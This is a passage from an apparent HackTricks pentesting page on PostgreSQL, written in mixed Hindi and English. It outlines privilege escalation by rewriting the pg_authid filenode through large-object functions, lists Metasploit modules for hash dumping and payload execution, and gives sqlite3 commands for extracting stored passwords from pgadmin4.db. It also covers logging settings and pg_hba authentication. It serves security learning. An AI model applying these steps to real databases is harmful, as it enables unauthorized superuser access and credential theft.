- PostgreSQL डेटा निर्देशिका प्राप्त करें
pg_authidtable से संबंधित filenode का relative path प्राप्त करेंlo_*functions के माध्यम से filenode डाउनलोड करेंpg_authidtable से संबंधित datatype प्राप्त करें- Use the PostgreSQL Filenode Editor to edit the filenode; सभी
rol*boolean flags को full permissions के लिए 1 पर सेट करें। lo_*functions के माध्यम से edit किया गया filenode फिर से अपलोड करें, और डिस्क पर मूल फ़ाइल को overwrite करें- (Optionally) महंगी SQL query चला कर in-memory table cache साफ़ करें
- अब आपके पास full superadmin privileges होने चाहिए।
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
लॉगिंग
फ़ाइल postgresql.conf के अंदर आप postgresql लॉग्स बदलकर सक्षम कर सकते हैं:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
फिर, सेवा को पुनरारंभ करें।
pgadmin
pgadmin PostgreSQL के लिए एक प्रशासन और विकास प्लेटफ़ॉर्म है।
आप pgadmin4.db फ़ाइल के अंदर passwords पा सकते हैं।
आप इन्हें स्क्रिप्ट में मौजूद decrypt function की मदद से decrypt कर सकते हैं: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
PostgreSQL में क्लाइंट प्रमाणीकरण pg_hba.conf नामक एक कॉन्फ़िगरेशन फ़ाइल के माध्यम से प्रबंधित किया जाता है। यह फ़ाइल कई रिकॉर्ड रखती है, जिनमें प्रत्येक में एक कनेक्शन प्रकार, क्लाइंट IP पते की रेंज (यदि लागू हो), डेटाबेस नाम, उपयोगकर्ता नाम, और कनेक्शनों से मिलान के लिए उपयोग की जाने वाली प्रमाणीकरण विधि निर्दिष्ट होती है। जो पहला रिकॉर्ड कनेक्शन प्रकार, क्लाइंट पता, अनुरोधित डेटाबेस, और उपयोगकर्ता नाम से मेल खाता है, उसे प्रमाणीकरण के लिए उपयोग किया जाता है। यदि प्रमाणीकरण विफल होता है तो कोई वैकल्पिक प्रबंध या बैकअप मौजूद नहीं होता। यदि कोई रिकॉर्ड मेल नहीं खाता है, तो पहुँच अस्वीकार कर दी जाती है।
The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.
संदर्भ
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks